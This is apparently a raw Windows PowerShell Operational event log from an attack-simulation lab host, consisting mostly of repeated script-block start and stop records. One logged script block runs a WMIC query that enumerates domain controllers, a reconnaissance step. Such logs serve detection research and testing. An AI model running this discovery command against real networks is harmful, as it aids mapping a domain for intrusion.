c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989145 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989144 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989163 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989162 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989161 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989160 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989159 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989158 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989157 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989156 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989155 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989154 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989179 Keywords=None Message=Started invocation of ScriptBlock ID: fcfb4247-cfd3-40a6-8f5c-55511e9c6fa9 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989178 Keywords=None Message=Creating Scriptblock text (1 of 1): wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE ScriptBlock ID: fcfb4247-cfd3-40a6-8f5c-55511e9c6fa9 Path: 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989177 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989176 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989175 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989174 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989173 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989172 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989171 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989170 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989169 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989168 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989167 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989166 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989165 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989164 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989198 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989197 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989196 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989195 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989194 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989193 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989192 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989191 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989190 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989189 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989188 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989187 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989186 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989185 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989184 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989183 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989182 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989181 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989180 Keywords=None Message=Completed invocation of ScriptBlock ID: fcfb4247-cfd3-40a6-8f5c-55511e9c6fa9 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989208 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989207 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989206 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989205 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989204 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989203 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989202 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989201 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 